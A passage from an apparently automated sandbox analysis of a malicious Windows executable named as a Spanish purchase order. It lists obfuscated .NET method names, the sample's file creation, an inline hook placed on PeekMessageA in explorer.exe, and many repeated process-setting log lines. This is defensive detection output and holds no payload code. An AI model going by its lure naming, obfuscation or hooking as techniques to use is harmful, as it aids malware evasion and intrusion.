                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, YbF1QsOtp49H6Dm81q.csHigh entropy of concatenated method names: 'NT34ZgvvZI', 'jD64hDlk39', 'MRD4mw0FsF', 'Y934QDnnnU', 'tZW413jSK5', 'yCc4WKJXM5', 'gFn4SjN9XM', 'QPBReLZoJN', 'kw8RgGoDJt', 'bTsRXVCNTK'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, hsI8m9KyGvuHpI8w8d.csHigh entropy of concatenated method names: 'NOuWpTkPQ2', 'dLGWroWHCS', 'Qj8sAKBKyC', 'ECRsLodQSx', 'WyesHsxpis', 'F9qsCcgdl5', 'zKLs321vaU', 'HDEsnTaHpg', 'NJAsETqU6r', 'QLIsYP2Qlf'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, XQA7bAXdU6bYKxMA7C.csHigh entropy of concatenated method names: 'aoaRbsyvad', 'GTURj4INBv', 'WCPRAtcPSH', 'GVVRLOIeW8', 'RfwRVrjr3u', 'e6URHXjvON', 'Next', 'Next', 'Next', 'NextBytes'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, EqZD0vgGmDspBUcvJo.csHigh entropy of concatenated method names: 'FJBRQNhitS', 'qawR1lrmeV', 'YYxRsWo7D8', 'QKqRWKilpi', 'bCfRSeq9gf', 'MJkR89IMeU', 'EyWRFQSr8j', 'H4OR9L7Urx', 'FupRB7EV8F', 'kBqRlpjjIa'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, pm3pWcZhFFHY7Yyrfm4.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lnDuVdeXOo', 'DQnuMITheL', 'HQKuJAqQqo', 'Y3puc6Mvc7', 'RMgu0kyFJw', 'oBjuxq7wm1', 'uhEue1vRoV'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, nJr2IADlpRf1IYeM0X.csHigh entropy of concatenated method names: 'HgmsPmxewk', 'r5ZsaOOwAv', 'v7UstchblL', 'abWsDt7jM5', 'GW4s5aEtV1', 'rHYsqRrrRL', 'BWksUSEDt2', 'mO4sRT46cf', 'BtBs4SEdSv', 'GuusufkakR'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, BVsas0vPoB4GWwT1ln.csHigh entropy of concatenated method names: 'Fs66tunHJP', 'FEk6DBqDQd', 'PyT6bqCXDH', 'prb6jmsy8C', 'lgA6LiOU9r', 'Etw6HXxnyV', 'dt563efKfP', 'jJd6neYrOF', 'I9H6YHgftk', 'lXn6G7SVVX'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.27e322c.2.raw.unpack, fJ.csHigh entropy of concatenated method names: 'Jj1', 'MjV', 'VmD', 'OjP', 'AjI', 'sj9', 'jjb', 'yjh', 'RgtTUJcyZL', 'Vmf'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, sLRI9GJjvArwHEhSWK.csHigh entropy of concatenated method names: 'ToString', 'MoSqG05CGK', 'lj6qj8wmTq', 'HN7qAcgVF9', 'Ev2qLrj5AM', 'lwhqH3PPPf', 'bIHqCmk9VK', 'xxVq3gmmXs', 'XJUqnvRf4o', 'l1hqEiVvYn'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, UEt4RuVj59T2YvPenP.csHigh entropy of concatenated method names: 'tpH5YlWom3', 'EUA5wAyR9B', 'ujS5Vmv707', 'grg5M5oLR8', 'LwJ5jO1aVn', 'tDe5AlE2es', 'tWd5LCIpQB', 'Mn35HPPtTK', 'FbI5ChTZdc', 'Bi1539QCeA'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, s9W9qXssUxe91dWd8e.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ChJNXlyjhn', 're2NOpnUd0', 'nS3NzPLw3R', 'wjCh2RkhHF', 'LVqhZwlmw5', 'xBahN6rXfk', 'tGnhhvKD75', 'od8qB8ltYjJ32DIkgGq'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, uUP5ZuEbq2Gi9XMBD4.csHigh entropy of concatenated method names: 'to68kLJQhK', 'Tcv8f6v12R', 'i9L87gj7Bv', 'fxg8Pov4lH', 'm218p1dSk8', 'YLk8apUbh5', 'Jwf8rV4bHg', 'BnR8tLtF14', 'W9l8D027X9', 'OnT8Kwiu6i'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, PNfuJEZ2FZppjAAPwOi.csHigh entropy of concatenated method names: 'tE64k7LBV0', 'pYI4ftMQv9', 'f7o47JA1xQ', 'VHD4P3X6DT', 'uaD4pc2WwP', 'hlY4a9FPum', 'IIB4rrnKFf', 'j7h4ttPskR', 'OAL4DOpmGN', 'CVb4KIdvjl'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, JqZxH7NGZe0CZqVjYM.csHigh entropy of concatenated method names: 'nN67yfDq7', 'v1gP2HnqP', 'hPRaMPnou', 'JPorypiJa', 'TSADf7hYe', 'RTYKDo1OO', 'Wu9T0JTEmFwGAKXtxg', 'YDKRXDuCsyFYMxJ1EU', 'NopRujgvj', 'F66uZq6vN'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, WEt2tMxBuP0WJAu67W.csHigh entropy of concatenated method names: 'V3JUglg9h6', 'knxUOYcnOt', 'zgZR2gYigX', 'X2VRZS59fH', 'viXUGPUjFw', 'Yu0UwOWpOb', 'grQUv719V8', 'nVmUVp7DFa', 'KKCUMkagqF', 'Ev5UJbrW4f'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, kbyZoOFYGol61nA9yq.csHigh entropy of concatenated method names: 'rUehoLpnhN', 'rpthQO46F5', 'B4wh1hmalt', 'jXwhskN8NK', 'MPQhW2XnxN', 'QZQhSeb6UR', 'MbAh8JGHLE', 'FBchFbLdEO', 'RNKh9suWi7', 'G21hBY1LlW'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, mfHaqEmWGMPG8q2JbU.csHigh entropy of concatenated method names: 'ExdZ8hpP5T', 'NouZFWaYsE', 'IlpZBRf1IY', 'WM0ZlXssI8', 'u8wZ58ddv6', 'jhEZqYFL3Z', 'kWDb5TXgR0QtU6gNN2', 'SFw6vH2PM6AfbinNQN', 'YFiZZyX8aF', 'lKOZh29LCF'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, whpP5TtEouWaYsEmMt.csHigh entropy of concatenated method names: 'pTv1VnfKTr', 'QK61MjMHJb', 'By01J2PEu4', 'cYE1cQFeFQ', 'uy210QLlOG', 'CdF1xcgYpV', 'Xvq1ePrZ6N', 'wMJ1gEE6q5', 'g4o1XckZRO', 'joq1OWdmiu'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, Vpd9pvc8KTgC1ikJTB.csHigh entropy of concatenated method names: 'e9eUB6XWtm', 'TZEUlsfGAQ', 'ToString', 'YdOUQbo0Qc', 'hXvU1E6KRM', 'vgGUsGlZtM', 'R26UWRQxW0', 'CjNUSIfbgF', 'g6eU8fgvRs', 'b8ZUFAvrWP'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, nbVmOt39PuGpFLTi56.csHigh entropy of concatenated method names: 'Swa8Qt5BS6', 'JUX8slxfap', 'dcD8SxplxH', 'yt7SOr7ypU', 'OLWSzM0hEF', 'AmR82ZTcIx', 'lYk8ZkvKg5', 'OYy8NYTKPL', 'w7t8hrsQ40', 'jgk8mZF3po'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, L8GOIBzlkeLmGR2cdg.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Uae46V4QZ1', 'jOk45MqEpi', 'dr34q5Rsy5', 'mi64U25c1t', 'yia4RpMdyU', 'C6W443esno', 'NSP4uSvcO7'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, VwagPN15K2l8SkE0JM.csHigh entropy of concatenated method names: 'Dispose', 'xLhZXZKcaQ', 'Y53NjlCEVb', 'hcq337CPaS', 'TtqZOZD0vG', 'eDsZzpBUcv', 'ProcessDialogKey', 'SoXN2QA7bA', 'vU6NZbYKxM', 'I7CNNObF1Q'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, vv68hEbYFL3ZYtq818.csHigh entropy of concatenated method names: 'dNkSoGBsCw', 'WCMS1rfbJi', 'JHsSWRiswn', 'jKFS8JViTa', 'eBqSFxXo6j', 'IfIW0KDfUk', 'L83Wx3xNxP', 't9pWeObIO5', 'WQrWg0bFdw', 's4HWXMYiKN'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, YbF1QsOtp49H6Dm81q.csHigh entropy of concatenated method names: 'NT34ZgvvZI', 'jD64hDlk39', 'MRD4mw0FsF', 'Y934QDnnnU', 'tZW413jSK5', 'yCc4WKJXM5', 'gFn4SjN9XM', 'QPBReLZoJN', 'kw8RgGoDJt', 'bTsRXVCNTK'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, hsI8m9KyGvuHpI8w8d.csHigh entropy of concatenated method names: 'NOuWpTkPQ2', 'dLGWroWHCS', 'Qj8sAKBKyC', 'ECRsLodQSx', 'WyesHsxpis', 'F9qsCcgdl5', 'zKLs321vaU', 'HDEsnTaHpg', 'NJAsETqU6r', 'QLIsYP2Qlf'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, XQA7bAXdU6bYKxMA7C.csHigh entropy of concatenated method names: 'aoaRbsyvad', 'GTURj4INBv', 'WCPRAtcPSH', 'GVVRLOIeW8', 'RfwRVrjr3u', 'e6URHXjvON', 'Next', 'Next', 'Next', 'NextBytes'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, EqZD0vgGmDspBUcvJo.csHigh entropy of concatenated method names: 'FJBRQNhitS', 'qawR1lrmeV', 'YYxRsWo7D8', 'QKqRWKilpi', 'bCfRSeq9gf', 'MJkR89IMeU', 'EyWRFQSr8j', 'H4OR9L7Urx', 'FupRB7EV8F', 'kBqRlpjjIa'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, pm3pWcZhFFHY7Yyrfm4.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lnDuVdeXOo', 'DQnuMITheL', 'HQKuJAqQqo', 'Y3puc6Mvc7', 'RMgu0kyFJw', 'oBjuxq7wm1', 'uhEue1vRoV'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, nJr2IADlpRf1IYeM0X.csHigh entropy of concatenated method names: 'HgmsPmxewk', 'r5ZsaOOwAv', 'v7UstchblL', 'abWsDt7jM5', 'GW4s5aEtV1', 'rHYsqRrrRL', 'BWksUSEDt2', 'mO4sRT46cf', 'BtBs4SEdSv', 'GuusufkakR'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, BVsas0vPoB4GWwT1ln.csHigh entropy of concatenated method names: 'Fs66tunHJP', 'FEk6DBqDQd', 'PyT6bqCXDH', 'prb6jmsy8C', 'lgA6LiOU9r', 'Etw6HXxnyV', 'dt563efKfP', 'jJd6neYrOF', 'I9H6YHgftk', 'lXn6G7SVVX'
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeFile created: \solicitud de pedido documento no 168646080.exe
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeFile created: \solicitud de pedido documento no 168646080.exe
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeFile created: \solicitud de pedido documento no 168646080.exeJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeFile created: \solicitud de pedido documento no 168646080.exeJump to behavior

                Hooking and other Techniques for Hiding and Protection

                barindex
                Modifies the prolog of user mode functions (user mode inline hooks)
                Source: explorer.exeUser mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x81 0x1E 0xE0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
